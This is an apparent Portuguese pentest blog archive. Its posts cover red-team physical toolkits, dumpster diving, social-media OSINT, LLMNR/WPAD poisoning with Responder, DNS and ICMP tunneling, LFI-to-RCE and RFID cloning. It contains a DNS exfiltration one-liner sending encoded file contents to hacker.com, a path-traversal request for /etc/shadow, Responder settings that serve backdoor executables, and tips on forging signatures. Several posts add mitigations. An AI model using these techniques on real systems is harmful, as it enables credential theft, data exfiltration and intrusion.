sábado, 1 de setembro de 2018

RED TEAM - TOOLKIT ESSENCIAIS

E ae galera, hoje trago um artigo traduzido sobre kits de ferramentas de avaliação de segurança física e red team.

As listas abaixo não pretendem ser abrangentes, mas uma referência rápida para kits de ferramentas específicos - que geralmente incluem dispositivos técnicos e ferramentas físicas.

Como sempre, supõe-se que você tenha permissão do seu cliente, tenha a documentação apropriada à mão e o escopo definido é sua principal consideração antes de tentar comprometer um recurso de destino. Por favor, certifique-se de que você tem muita experiência com ferramentas de desvio e bloqueio de picking, a fim de reduzir o risco de danificar portas, trancar núcleos e mecanismos, etc. Seja sempre responsável!

Ao decidir o que levar a uma avaliação, é importante entender a instalação, o tipo de indústria, os códigos de vestimenta, etc. Muitas vezes você pode não descobrir esse tipo de informação até que já esteja no local, por isso é importante que você chegue pelo menos no dia anterior a um compromisso para observar os pontos de entrada, funcionários e controles de acesso.

Tenha tempo suficiente para o reconhecimento, especialmente se houver mais de uma instalação de destino. A partir de observações no local, você pode precisar ajustar seu kit de ferramentas de acordo. Lembre-se que quanto mais leve for o kit, mais fácil será se mover e ficar discreto.

Ao chegar para a avaliação no local, é aconselhável que você não carregue uma mochila grande ou sua sacola militar tática super incrível. Aqui estão algumas considerações adicionais:

  • Use uma bolsa que seja de cor neutra.
  • NÃO caminhe com seus patches de hacker e pins por toda a sua bolsa ou adesivos por todo o seu laptop e equipamento - a menos que você pretenda se destacar de propósito.


Exemplos de kit de ferramentas:

 
  • Lock picks (pocket) - commonly used picks
  • Under-the-door tool
  • Canned air, hand warmers (request-to-exit bypass, etc.)
  • Shove knife/shrum tool
  • Crash bar tool
  • Dimple lock gun
  • Tubular lock picks
  • Fire/emergency elevator key set
  • USB keylogger and Hak5 rubber ducky
  • Hak5 LAN turtle
  • Pineapple nano
  • LAN tap
  • Wafer and warded pick set
  • Laptop or mobile device
  • External hard drive
  • Fake letter of authorization (as a plan B and to test incident response)
  • Real letter of authorization
  • Props for guises if utilizing social engineering
  • RFID thief/cloner (something that is easy to hide - I often use a clipboard like the one shown in the picture above)
  • Camera (or just use your smartphone)

Exemplos de kit de ferramentas #2:
  • Lock picks (pocket) - common
  • Lock picks (backpack) - expanded set
  • Under-the-door tool
  • Shove knife/shrum tool
  • Crash bar tool
  • Snap gun with interchangeable needles
  • Dimple lock gun
  • Tubular lock picks
  • Hand warmers/canned air
  • Leather gloves/good shoes
  • Fire/emergency elevator key set
  • USB keylogger and Hak5 rubber ducky
  • Hak5 LAN turtle
  • LAN tap
  • Wafers and warded pick set
  • Laptop if needed
  • External hard drive
  • Malicious drops x4 (USB, etc.)
  • Rogue access point (PwnPlug, Pi, whatever your flavor of choice)
  • Hak5 pineapple
  • 15dbi wireless antenna (for outside, not really something you want to stuff in your bag inside).
  • Nexus 7 with nethunter, TP-link adapter etc.
  • Props for guises if utilizing social engineering
  • Fake letter of authorization (as a plan B and to test incident response)
  • Real letter of authorization
  • RFID thief/cloner
  • Camera (or just use your smartphone)
  • Snake camera (a bonus for looking over drop ceilings or floors)
  • Multi-tool
 
Outros
  • Vários cabos USB c(A, B, mini, micro, OTG, etc.)
  • SD Cards, microSD cards
  • Smartphone (earpiece if with a team)
  • Body camera (GoPro/ACE Cameras are sometimes handy with client approval)
  • Extra power packs/batteries
  • Small flashlight (low lumen)
  • RTFM: Red Team Field Manual

Referencias e artigo oficial
https://technical.nttsecurity.com/post/102e2hp/red-team-toolkit-essentials
https://github.com/infosecn1nja/Red-Teaming-Toolkit
 www.sparrowslockpicks.com
https://shop.riftrecon.com/
https://www.wallofsheep.com/
 www.hackerwarehouse.com
 www.hak5.org


quarta-feira, 22 de agosto de 2018

DUMPSTER DIVING

E ae galera, mais um aritgo pra vocês. Dessa vez iremos falar sobre Dumpster Diving.

Dumpster diving é um método de obter informações sobre uma empresa apenas examinando seu lixo. Essa técnica era muito popular, especialmente nos anos 90, quando muitos hackers da "velha escola", como Kevin Mitnick, tinham conseguido hackear grandes empresas apenas descobrindo informações críticas através de seu lixo. Isso prova que empresas e organizações devem levar em consideração como administram e destruírem o lixo para mitigar essa ameaça.

Atualmente, o mergulho em lixeira pode fazer parte do teste de invasão física. As informações que o pentester deve coletar o ajudarão a construir seu cenário de ataque. Neste artigo, examinaremos o que um pentester deve procurar quando estiver realizando um mergulho.

Informação do empregado
Os documentos que contêm informações sobre nomes, departamentos, etc. de funcionários são muito importantes, pois podem ser usados ​​durante o pentest físico, como informações válidas. Saber as informações internas permitirá estabelecer mais facilmente a confiança, conforme você aparece como alguém válido para empresa.

Emails
Obviamente, você pode encontrar e-mails corporativos e de outras fontes como o Linkedin, site oficial etc. mas também documentos contendo algum endereço de e-mail é sempre uma boa descoberta, pois você poderá descobrir informações internas e também a estrutura das contas de e-mail dentro da empresa.

Referencias:
Email Permutator
theHarvester

Diagramas de Rede
Diagramas sobre a rede interna da empresa também podem ser encontrados no lixo. Os diagramas de rede em muitos casos contêm endereços IP, nomes de servidores, intervalos de rede e IPs de roteadores que podem permitir que o pentester tenha uma melhor compreensão sobre a rede e quais recursos são importantes.


Papéis

Esses tipos de documentos podem ajudar o pentester a criar falsificações dos documentos. Isso é essencial para qualquer engajamento de engenharia social, pois você pode enganar os funcionários para executar a ação desejada.


Faturas
As faturas revelam informações sobre os clientes e parceiros da empresa. Isso pode ser muito útil, pois o pentester pode usar essas informações para se disfarçar de funcionário da empresa, o que, nesse cenário, lhe proporcionará um acesso fácil ao alvo.


Usuários e senhas

É bastante comum que muitos funcionários da empresa mantenham seus nomes de usuário e senhas em notas adesivas. Essas informações podem ser encontradas com frequência no lixo, pois os administradores estão impondo que as senhas sejam alteradas a cada dois ou três meses. Essa descoberta revelará como nomes de usuário e senhas são construídas e com um pouco de sorte, algumas delas podem ser válidas.

Manuais e procedimentos operacionaisManuais e procedimentos operacionais são frequentemente encontrados no lixo da empresa. Isso ocorre porque esses documentos são atualizados com frequência e as versões mais antigas não são mais necessárias. Geralmente, nesses documentos, há muitas informações sobre processos e sistemas internos.


Assinaturas
Os documentos que contêm assinaturas especialmente de pessoas autorizadas, como CEOs, chefes de departamento e gerentes de contas, também são importantes, pois a assinatura pode ser facilmente copiada e usada em vários cenários como um documento de autorização válido.


Papel rasgado

Mesmo que muitas empresas estejam usando máquinas trituradoras para destruir seus documentos efetivamente, isso em algumas ocasiões não parece suficiente. Isso ocorre porque alguns trituradores não misturam suas lâminas quando estão destruindo o papel para que o papel seja triturado em tiras. Se você descobrir um pedaço de papéis em tiras, poderá tentar reconstruir o papel por conta própria ou usar uma solução de software como o unshredder.

Extra-off; cena do filme whoami
https://www.youtube.com/watch?time_continue=2803&v=Bb8Wrhifs84

quinta-feira, 9 de agosto de 2018

FERRAMENTA - SOCIAL MAPPER

E ae galera, trago pra vocês uma ferramenta de enumeração de redes sociais.


O Social Mapper é uma ferramenta de inteligência de código aberto que usa reconhecimento facial para correlacionar perfis de rede social em diferentes sites em grande escala.

O Social Mapper tem vários usos no setor de segurança, por exemplo, a coleta automatizada de grandes quantidades de perfis de rede social para uso em campanhas de phishing direcionadas. O reconhecimento facial ajuda esse processo removendo falsos positivos nos resultados da pesquisa, de forma que a análise desses dados é mais rápida para um operador humano.

O Social Mapper suporta as seguintes plataformas de rede social:
  • LinkedIn
  • Facebook
  • Twitter
  • GooglePlus
  • Instagram
  • VKontakte
  • Weibo
  • Douban
Ele usa vários tipos de entrada, como:
  • Um nome de organização, pesquisando pelo LinkedIn 
  • Uma pasta cheia de imagens nomeadas 
  • Um arquivo CSV com nomes e URL para imagens on-line
Como esta é uma ferramenta baseada em Python, ela deveria, teoricamente, ser executada em Linux, Mac e Windows. Os principais requisitos são Firefox, Selenium e Geckodriver. Para instalar a ferramenta e configurá-la, siga estas 4 etapas:

Instale a versão mais recente do Mozilla Firefox:
https://www.mozilla.org/en-GB/firefox/new
Instale o Geckodriver para o seu sistema operacional e verifique se ele está no seu path, no Mac e coloque-o em /usr/local/bin e no Linux /usr/bin. Você pode baixá-lo aqui:
https://github.com/mozilla/geckodriver/releases
Instale as bibliotecas necessárias do python 2.7:
git clone https://github.com/SpiderLabs/social_mapper
cd social_mapper/setup
pip install -r requirements.txt
Você precisara configurar o seu login nas redes sociais:
Abra social_mapper.py e insira as credenciais de redes social nas variáveis ​​globais na parte superior do arquivo.

Usando o Social Mapper
O Social Mapper é executado a partir da linha de comando usando uma combinação de parâmetros obrigatórios e opcionais. Você pode especificar opções como tipo de entrada e quais sites verificar junto com vários outros parâmetros que afetam a velocidade e a precisão.

Parâmetros exigidos
Para iniciar a ferramenta, 4 parâmetros devem ser fornecidos, um formato de entrada, o arquivo de entrada ou pasta e o modo básico de execução:
-f, --format : Especifique se o -i, --input é um arquivo de 'name', 'csv', 'imagefolder' ou 'socialmapper'
-i, --input : O nome da empresa, um arquivo csv, imagefolder ou arquivo html
-m, --mode : Rápido ou Preciso permite que você escolha pular alvos em potencial
Além disso, pelo menos um site de mídia social para verificar, deve ser selecionado incluindo um ou mais dos seguintes itens:
-a, --all : Seleciona todas as opções abaixo e verifica todos os sites para os quais o Social Mapper possui credenciais
-fb, --facebook : Checa Facebook
-tw, --twitter : Checa Twitter
-ig, --instagram : Checa Instagram
-li, --linkedin : Checa LinkedIn
-gp, --googleplus : Checa GooglePlus
-vk, --vkontakte : Checa VKontakte
-wb, --weibo : Checa Weibo
-db, --douban : Checa Douban
Para mais detalhes e uso da ferramenta:
https://github.com/SpiderLabs/social_mapper

sábado, 4 de agosto de 2018

O QUE É LLMNR & WPAD E COMO UTILIZA-LOS DURANTE O PENTEST

E ae galera, trazendo mais um artigo a respeito de pentest interno. Hoje iremos falar sobre LLMNR & WPAD.

Em um pentest interno, simulamos ataques que podem ser executados em serviços e protocolos mal configurados em nível de rede. Estes ataques são causados ​​principalmente pelo fato de que serviços como o Protocolo de Resolução de Endereço (ARP), Protocolo de Configuração Dinâmica de Hosts (DHCP), e Domain Name System (DNS) não estão configurados corretamente. Um dos ataques mais importantes que podem ser encontrados é, sem dúvida, Man-in-the-Middle (MITM). Medidas de segurança contra este ataque podem ser tomadas em equipamentos de rede, como roteadores e switches. No entanto, devido às fraquezas inerentes de alguns protocolos, podemos realizar o mesmo ataque com métodos diferentes. Por esta razão, o tema principal deste artigo será os ataques Man-in-the-Middle contra os: LLMNR, NetBIOS e WPAD. Antes de começar, gostaria de explicar como os computadores têm sistema operacional Windows se comunicar uns com os outros na mesma rede e executar a resolução de nomes. Antes de começar, gostaria de explicar como os computadores que tem o sistema operacional Windows se comunicam uns com os outros na mesma rede.

Esse processo prossegue com algumas etapas da seguinte maneira:
  1. O arquivo hosts no sistema de arquivos é verificado
    • Em seus arquivos de configuração, indaga sobre as informações do sistema que deseja alcançar. Ao mesmo tempo, verifica se o dispositivo acessado é ele mesmo.
    • Os arquivos de configuração estão localizados em: C:\Windows\System32\drivers\etc
     
  2. Verifique o cache DNS local
    • Primeiro de tudo, o cache é verificado. Se as informações para o dispositivo a ser acessado existirem no cache, essas informações serão usadas.
    • O cache do DNS pode ser ilustrado com o comando ipconfig / displaydns.
     
  3. Enviar consulta para o DNS
    • Se o computador não encontrar nenhuma informação dos arquivos de configuração sobre o dispositivo que deseja acessar, ele envia uma consulta ao servidor DNS na rede local.
     
  4. Envie a consulta LLMNR
    • LLMNR é um protocolo que é processado quando o servidor DNS falha na resolução de nomes.
     
  5. Envie a consulta NetBIOS-NS
    • Ele funciona na camada “Session” do modelo OSI. O NetBIOS é uma API, não um protocolo, usado para comunicação entre sistemas operacionais Windows.
    • O nome NetBIOS do computador é o mesmo que o nome do computador.
O que é o LLMNR e o NetBIOS-NS?
LLMNR (Resolução de Nome de Multicast Local de Link) e NetBIOS-NS (Serviço de Nome) são dois componentes que os sistemas operacionais Windows usam para resolução de nomes e comunicação. O LLMNR foi usado pela primeira vez com o sistema operacional Windows Vista e é visto como a continuação do serviço NetBIOS-NS.

Nos casos em que o servidor DNS falha em consultas de resolução de nomes, esses dois serviços continuam a nomear a resolução. Os serviços LLMNR e NetBIOS-NS tentam resolver consultas que o servidor DNS não pode responder. Na verdade, esta é a forma de cooperação entre os computadores do sistema operacional Windows. 

O protocolo LLMNR é servido pelo endereço IP multicast do link-scope 224.0.0.252 para IPv4 e de FF02: 0: 0: 0: 0: 0: 1: 3 para IPv6. Executa operações próprias através da porta TCP55 / UDP 5355.
Por exemplo, ao tentar pingar para test.local que não está na rede, a primeira consulta vai para o servidor DNS. Se o servidor DNS não puder resolver esse nome de domínio, a consulta será redirecionada para o protocolo LLMNR. LLMNR não é uma alternativa ao protocolo DNS; É uma solução aprimorada para situações em que as consultas ao DNS falham. É suportado por todos os sistemas operacionais comercializados após o Windows Vista.


O NetBIOS é uma API que os sistemas da rede local usam para se comunicar uns com os outros. Existem três serviços NetBIOS diferentes.
  • Name Service, ele usa a porta UDP 137 para uso no registro de nomes e na resolução de nomes.
  • Datagram Distribution Service, ele usa a porta UDP 138 para comunicação sem conexão.
  • Session Service, executa operações na porta TCP 139 para comunicação orientada por conexão.
O protocolo LLMNR é usado após a consulta DNS malsucedida. E, em seguida, é um pacote NetBIOS-NS, que é uma consulta de divulgação, está incluído no tráfego.


Teoricamente, esses sistemas aparentemente não têm proteção contra ataques do tipo MITM na rede local. Um invasor pode obter dados confidenciais, como nome de usuário e senha, com ataques bem-sucedidos.

Capture a hash NTLMv2 manipulando o tráfego
O cenário principal será realizado conforme mostrado abaixo:

  1. A vítima tentará se conectar ao sistema de compartilhamento de arquivos, chamado filesrvr, que digitou incorretamente.
  2. A resolução de nomes, que será executada com as etapas mencionadas anteriormente, será respondida no computador da vítima primeiro.
  3. Na etapa 2, como o servidor DNS não tem um registro correspondente, o nome do sistema é enviado como consulta LLMNR, NetBIOS-NS.
  4. O invasor intercepta o tráfego de rede, captura a consulta de resolução de nomes.
O invasor interceptara e responderá a todas as consultas LLMNR e NetBIOS-NS. Desta forma, é possível manipular o tráfego com uma sessão falsa e obter hashes de nome de usuário e senha.

Existem diferentes ferramentas para fazer este ataque.
Começamos a interceptar o tráfego da rede especificando qual interface de rede.


Nossa vítima tenta conectar o compartilhamento filesrvr


E estamos recebendo o SMB-NTLMv2 Hash!


Como sabemos, as hashes NTLMv2 não podem ser usados ​​diretamente para ataques. Agora faremos o ataque da Hash. Assim, precisamos executar o ataque de quebra de senha para obter a senha de texto simples da hash capturado. Existem várias ferramentas para hash cracking; John the Ripper, Hashcat, Caim e Abel, Hydra, etc. Usaremos o hashcat para "quebrar" a hash NTLMv2 que recebemos do Responder.

A ferramenta Respondente mantém os valores de hash que detecta no diretório /usr/share/responder.


A hash NTLMv2 que obtivemos é a seguinte:


O Hashcat é uma ferramenta de quebra de senhas de código aberto. Além disso, tem suporte a GPU. Pode detectar o padrão de hash com o parâmetro -m. No final do comando, ele iniciará um ataque de força bruta usando dicionário.


 E voila! Nós recebemos a senha que é Abcde12345.

O que é o WPAD?
As organizações permitem que os funcionários acessem as internets por meio de servidores proxy para aumentar o desempenho, garantir a segurança e rastrear o tráfego. Os usuários que se conectaram à rede corporativa precisam conhecer o servidor proxy para uma URL específica sem fazer configuração. O protocolo WPAD (Web Proxy Auto-Discovery Protocol) é um método usado pelos clientes para localizar a URL de um arquivo de configuração usando os métodos de descoberta DHCP e / ou DNS. Uma vez concluída a detecção e o download do arquivo de configuração, ele pode ser executado para determinar o proxy de uma URL especificada.

Como funciona o WPAD?
O cliente deseja acessar o arquivo de configuração wpad.dat para configuração de proxy. Ele procura computadores nomeados como "wpad" na rede local para encontrar esse arquivo. E, em seguida, as seguintes etapas são realizadas:
  1. Se o servidor DHCP estiver configurado, o cliente recuperará o arquivo wpad.dat do servidor DHCP (se tiver êxito, a etapa 4 será obtida).
  2. A consulta wpad.corpdomain.com é enviada ao servidor DNS para localizar o dispositivo que está distribuindo a configuração do Wpad. (Se bem sucedido, o passo 4 é tomado).
  3. Consulta LLMNR enviada para WPAD (se houver sucesso, vá para a etapa 4, caso contrário, o proxy não poderá ser usado).
  4. Faça o download do wpad.dat e use.
De acordo com a seqüência acima, o ataque de envenenamento de DHCP pode ser feito na primeira etapa. Ataque de envenenamento de DNS pode naturalmente ser executado para a segunda etapa. Mas, como observei no começo deste artigo, os dispositivos de rede configurados previnem esses ataques. Quando uma consulta é feita através do LLMNR, esta solicitação irá para todos os clientes na rede via transmissão. Nesse ponto, o invasor envia seu arquivo wpad.dat para os clientes, agindo como um servidor wpad.

O importante é que o protocolo WPAD é construído em sistemas operacionais Windows. Essa configuração pode ser vista na seção Configurações de LAN do navegador Internet Explorer.


Com essa configuração, o Internet Explorer faz uma consulta de resolução de nome WPAD em toda a rede.

Atacando o WPAD
O Responder é um ótimo utilitário para o ataque MITM. O Responder atende a um servidor WPAD falso e responde à resolução de nomes WPAD dos clientes. O cliente solicita o arquivo wpad.dat desse falso servidor WPAD. O Respondente cria uma tela de autenticação e solicita que os clientes insiram o nome de usuário e a senha que eles usam no domínio. Naturalmente, os funcionários escrevem nomes de usuário e senhas usados ​​no nome do domínio. Finalmente, podemos ver seu nome de usuário e senhas.

Usar a ferramenta Responder é muito simples
git clone https://github.com/SpiderLabs/Responder.git
Eu configurei os seguintes sistemas para simular esse ataque.


Agora, mandamos o falso servidor HTTP e esperamos por senhas em texto puro.


E nossa vítima verá a seguinte caixa de login e, naturalmente, digitará o nome de usuário e a senha.

 


E a senha está abaixo:


Backdoor com Responder
O Responder não é apenas o ataque MiTM para o serviço WPAD. Isso pode forçar as vítimas a baixarem arquivos maliciosos direcionando-as para uma página da web falsa. A engenharia social pode ser usada para preparar realisticamente a página da web a ser usada para esse ataque. No entanto, o Respondente também possui uma página de redirecionamento falsa. Tudo o que precisamos fazer é fazer algumas mudanças no arquivo responder.conf. Nós configuramos os parâmetros “Servir-HTML” e “Servir-EXE” para “On”.
[HTTP Server]
; Set to On to always serve the custom EXE
Serve-Always = On
; Set to On to replace any requested .exe with the custom EXE
Serve-Exe = On
; Set to On to serve the custom HTML if the URL does not contain .exe
; Set to Off to inject the 'HTMLToInject' in web pages instead
Serve-Html = On 
E executamos o Respondente novamente.
python Responder.py -I eth0 -i 10.7.7.31 -r On -w On
Agora, quando a vítima tenta se conectar com a internet, ela só verá a página seguinte. E, por acaso, a vítima clica na conexão do Proxy Client e o Bind faz o download do CMD Shell, para que possamos nos conectar ao ponto de conexão da vítima com o netcat.


Mitigações contra o WPAD
A primeira solução para esse ataque é criar uma entrada de DNS com “WPAD” que aponta para o servidor proxy corporativo. Assim, o invasor não poderá manipular o tráfego.

A segunda solução é desabilitar “Configurações de Proxy de Autodetectação” em todos os Internet Explorer com Diretiva de Grupo.

Referências:
https://en.wikipedia.org/wiki/NT_LAN_Manager
https://github.com/SpiderLabs/Responder
https://en.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocol
http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse.html
https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning
https://www.us-cert.gov/ncas/alerts/TA16-144A
Esse foi mais um artigo retirado do site pentest.blog, link do artigo:
https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/

quinta-feira, 2 de agosto de 2018

DATA EXFILTRATION - PÓS EXPLORAÇÃO

E ae galera, nesse artigo estarei falando sobre pós exploração em pentest; vamos falar sobre Data Exfiltration (Tunneling).


A exfiltração de dados, também chamada de extrusão de dados, é a transferência não autorizada de dados de um computador. Esses tipos de ataques contra a rede corporativa podem ser manuais e executados por alguém com USB ou podem ser automatizados e executados em uma rede. Neste artigo, vamos nos concentrar em técnicas de extração de dados baseadas em rede durante o pentest.

Tunneling
Como adversário, presumimos que não temos credenciais de domínio válidas. O que significa que não podemos usar o proxy da empresa para alcançar o lado da rede. Se não estivermos alcançando a Internet, não poderemos exfiltrar informações confidenciais. Assim, o tunelamento desempenha um papel muito importante.

Tunneling é quando, em vez de enviar um pacote diretamente através da rede, você envia dentro de outra conexão (muitas vezes criptografada) por meio de encapsulamento. Como os dados reais são transmitidos pela rede por meio de um protocolo diferente, é possível acessar a Internet.

Dependendo do tipo de protocolo usado, os nomes de encapsulamento podem mudar. Nós cobriremos os mais populares.

DNS Tunneling
Eu gostaria de mostrar coisas muito básicas, mas importantes antes de pular diretamente para o tunelamento de DNS.


Primeira coisa, devemos identificar o servidor DNS interno. É fácil. Agora é hora de realizar vários testes. Precisamos responder as seguintes perguntas:
  • Somos capazes de nos comunicar com o DNS interno? 
  • Somos capazes de resolver o domínio interno através do DNS da empresa? 
  • podemos resolver o domínio externo (por exemplo, pentest.club) via DNS interno? 
  • Podemos nos comunicar diretamente com o DNS externo?
 
O primeiro comando mostra que podemos resolver o domínio interno, o segundo mostra que podemos resolver um domínio externo através do servidor DNS da empresa. Isso significa que podemos realizar tunelamento de DNS, mas eu gostaria de chamar a atenção para o terceiro comando. A maioria das redes seguras não permitirá a comunicação com o DNS externo. Se você tiver permissão para fazer isso, este é outro problema de segurança que você deve denunciar!
 
Como o DNS Tunneling funciona?
Embora os gráficos que preparamos especificamente para este artigo sejam muito descritivos, descreveremos cada etapa individualmente.
 
 
  1. Um atacante tem um domínio sob seu controle. Digamos que seja hacker.com. O atacante envia uma solicitação de DNS para o servidor DNS interno, a fim de resolver um hacker.com.
  2. O servidor DNS responsável para hacker.com está localizado em outro lugar na internet. Assim, ele redireciona a solicitação para o servidor raiz por meio do Firewall.
  3. Após um grande número de redirecionamentos, uma solicitação de DNS chega a um servidor DNS responsável de hacker.com, que está sob controle do atacante.
  4.  Como a solicitação é gerada por um atacante, não é importante saber qual é a resposta.
  5.  Como a solicitação é gerada por um adversário, não é importante saber qual é a resposta.
  6.  E finalmente, o adversário recebe uma resposta.
Isso nos mostra como se comunicar com um servidor localizado fora da rede da empresa. Até aí tudo bem, mas acabamos de encontrar uma maneira de se comunicar com um servidor externo. Nós não fizemos nada sobre a exfiltração de dados.
Digamos que tenhamos dados confidenciais como abaixo:
 
 
E nós queremos exfiltrar através de uma rede segura:
for i in $(cat sensitive.txt); do d=$(echo $i|base64) && nslookup $d.hacker.com; done
Acima o comando shell: lê um arquivo que contém informações confidenciais linha a linha. Em seguida, executa uma codificação base64 em cada linha. E, em seguida, use-o como um subdomínio durante a consulta de DNS. Quando a consulta chegar ao servidor DNS responsável de hacker.com, podemos rastrear os registros de DNS, analisá-los e decodificar subdomínios para descobrir os dados confidenciais correspondentes. Essa técnica funciona como um encanto, mas tem limitações a seguir:
  1. É uma comunicação unidirecional. Não podemos enviar um comando de volta do C2 (DNS autoritativo).
  2. Lendo um arquivo muito fácil. O que faremos quando estivermos lidando com dados de 100 MB? Pacotes DNS podem chegar a uma ordem diferente. 
Assim, precisamos de uma ferramenta que cubra todos os problemas. Por sorte, temos o dnscat2.
 
Como configurar e usar o Dnscat2
Dnscat2 fornece aplicativo cliente e servidor. Os comandos a seguir são necessários para criar um servidor DNS2:
git clone https://github.com/iagox86/dnscat2.git 
cd dnscat2/server/
gem install bundler
bundle install
 Para o cliente que está localizado na rede da empresa:
 git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
Agora é hora de iniciar um servidor Dnscat2.
 
 
opendns.online é um nome de domínio sob o controle do atacante. É muito importante ter um servidor DNS autoritativo para um opendns.online.

Dnscat gera uma chave secreta. Na chave será usado na forma "segredo compartilhado" para comunicação criptografada durante o tunelamento. Além disso, o dnscat oferece dois comandos diferentes para o cliente. Se você puder enviar uma consulta de DNS ao servidor externo, mas não se esqueça de que a maioria das redes seguras não permite que ninguém use serviços de DNS externos.

Execute o seguinte comando no site do cliente como abaixo:


Você verá uma mensagem "new window created" no servidor depois que a sessão for estabelecida.

Vamos ver os pacotes DNS capturados durante essa comunicação. A captura de tela a seguir mostra que 12.0.0.129 (client) envia uma solicitação de resolução do CNAME para o servidor DNS interno 12.0.0.2 (DNS interno).


O cliente DNSCAT2 envia uma solicitação de resolução de vários TXT para o servidor e, em seguida, inicia a comunicação criptografada por meio de CNAMEs. A partir desse ponto, um atacante pode fazer quase tudo através desse túnel.



ICMP Tunneling
O tunelamento ICMP funciona injetando dados arbitrários em um pacote de echo enviado para um computador remoto. O computador remoto responde da mesma maneira, injetando uma resposta em outro pacote ICMP e enviando-o de volta.

Basicamente, estamos enviando dados reais para dentro do ICMP. Nós só precisamos de uma coisa antes de fazer o tunelamento ICMP. Posso pingar um servidor externo?


Sim, nós podemos. Caso contrário, o tunelamento ICMP seria impossível de fazer. Graças a Dhaval Kapil, também temos uma ferramenta para tunelamento ICMP chamada icperunnel. A instalação disso é muito fácil:
git clone https://github.com/DhavalKapil/icmptunnel
make
./icmptunnel -s 10.0.1.1
No lado do cliente, descubra o seu gateway e a interface correspondente:
route -n
Edite client.sh e substitua <server> pelo endereço IP do servidor. <gateway> com endereço de gateway obtido acima e similarmente para <interface>

Execute o túnel no seu cliente:
./icmptunnel -c IPADDRESS
Mitigações
Não é fácil lidar com esse tipo de ataque de tunelamento, especialmente o DNS Tunneling. Mas as ações a seguir ajudarão você a detectar as ferramentas mais usadas, como dnscat2 etc.
  • Não permita que ninguém da sua rede envie solicitações de DNS ao servidor externo. Todos devem usar seu próprio servidor DNS.
  • Bloqueie o protocolo ICMP.
  • Rastreie os números de consulta do DNS pelos usuários. Gere uma notificação se houver alguém que atinja os limites.
Esse artigo foi retirado do site pentest.blog, link do artigo:
https://pentest.blog/data-exfiltration-tunneling-attacks-against-corporate-network/

quinta-feira, 26 de julho de 2018

INVASÃO E MANIPULAÇÃO EM DISTRIBUIDORAS E SEUS SISTEMAS DE GERENCIAMENTO

E ae galera, dessa vez vou demonstrar como pode ocorrer uma invasão a empresas de distribuição e manipular seus endereços de entrega através dos seus sistemas de gerenciamento.

WMS (Sistema de gerenciamento de armazém)
Pra quem não sabe, o sistema WMS é utilizado em todo os processos do Armazém: Recebimento, Armazenamento e Expedição.

Portanto, o WMS é um sistema desenvolvido para administrar os fluxos físicos de recebimento, armazenagem, separação e expedição de mercadorias, definindo suas localizações dentro dos depósitos e possibilitando a automação de suas operações através de código de barras, rádio frequência, separação automática de pedidos, etc.
Leia mais em: improtecsistemas.com.br/wms/
Deve-se entender que cada empresa que vende esses softwares, não utilizam os mesmos seguimentos que outras. Portanto, a empresa X não vendem esses softwares iguais a empresa Y. Mas no final, tudo é a mesma coisa.

Essa área de logística é bastante interessante para um pentest, por conta de vários sistemas que possuem.  Pode-se encontrar sistemas WMS com conexões externas, isso ocorre porque algumas empresas querem atualizar o sistema sem precisar ir pessoalmente.

Seguindo nesse raciocínio, podem existir duas vulnerabilidades nesse caso:
  1. Em caso de invasão ao servidor que faz o update das empresas que vendem WMS, o invasor pode modificar o software do WMS por um programa malicioso,  como ocorreu com o CCleaner.
    https://olhardigital.com.br/fique_seguro/noticia/software-ccleaner-e-comprometido-por-hackers/71101
  2. Comprometimento da infraestrutura de TI da distribuidora: nesse caso, o atacante manipula a rede da distribuidora e consegue mudar a origem da atualização do WMS (no caso, o download do update).
Em meus testes com softwares demos, a maioria salvava os seus clientes em um banco de dados na pasta raiz onde foi instalado o WMS.


Percebemos então que em muitos casos, não é necessário  engenharia reversa, podemos fazer a manipulação dos produtos via editor de texto.

Vale lembrar que muitos WMS são pagos, então como explorar e procurar vulnerabilidades? Simples, muitas empresas disponibilizam a demo do software, é só entrar em contato.

A area de logística é imensa, aqui estão alguns links para estudo:

SISTEMAS COMPUTACIONAIS PARA O GERENCIAMENTO ESTRATÉGICO DA LOGÍSTICA
5 sistemas de gerenciamento de logística que você precisa conhecer  

quarta-feira, 25 de julho de 2018

LFI PARA RCE

E ae galera, hoje no meu curso foi discutido sobre essas duas falhas e eu quis trazer um artigo traduzido sobre elas, aconteceu em um bug bounty :).

Esse é um artigo explicando como um hunter conseguiu um RCE através de um LFI.

Enquanto procurava pelas vulnerabilidades, encontrei o LFI no site de destino:
https://www.victimsite.com/forum/attachment-serve?name=../../../../../../../../../../etc/shadow&path=
Como você pode ver, o parâmetro "name" era vulnerável a LFI.


Após a descoberta do LFI, o objetivo agora era escalar para obter o RCE. O hunter deixou um link que o ajudou a entender como é feito o LFI para RCE:
https://medium.com/@p4c3n0g3/lfi-to-rce-via-access-log-injection-88684351e7c0
Agora, a ideia era obter acesso a alguns arquivos que podem ser arquivos de log que poderiam fornecer alguma entrada de controlador de usuário (para executar algum comando).


Mas parece que o usuário com o qual obtive LFI não tem acesso para acessar arquivos de registros. Fiz uma pesquisa e descobri que “/ proc / self / fd” fornece atalho simbólico para acessar logs e vários outros arquivos relacionados ao sistema. Então eu tentei ler aqueles em busca de logs de acesso.


E um dos arquivos fd me deu acesso para acessar logs


E o que me chamou a atenção aqui foi o cabeçalho "referer" porque eu sabia que era algo que estava sob a entrada controlada pelo usuário. Adicionei o cabeçalho "referer" na solicitação HTTP, configurei seu valor para system (id) e enviei.

 
E por fim: 
 

Então, foi assim que consegui obter um RCE através de um LFI :).

Postagem original e links recomendados:

https://medium.com/bugbountywriteup/bugbounty-journey-from-lfi-to-rce-how-a69afe5a0899

https://medium.com/@p4c3n0g3/lfi-to-rce-via-access-log-injection-88684351e7c0

https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/

domingo, 22 de julho de 2018

PROJETO WALRUS - APLICATIVO ANDROID PARA CLONAGEM DE CARTÕES RFID

E ae galera, hoje eu apresento a vocês o projeto Walrus.

Walrus é um aplicativo android que simplifica a clonagem de cartões. Ele utiliza uma interface simples e um banco de dados para armazenar cartões clonados. Os cartões clonados são gravados em um cartão em branco ou emulados em outro dispositivo, concedendo instantaneamente ao invasor acesso privilegiado a áreas restritas.

Demo


Ferramenta: https://github.com/TeamWalrus/Walrus

Para mais detalhes: https://n0where.net/an-android-app-for-rfid-card-cloning-project-walrus

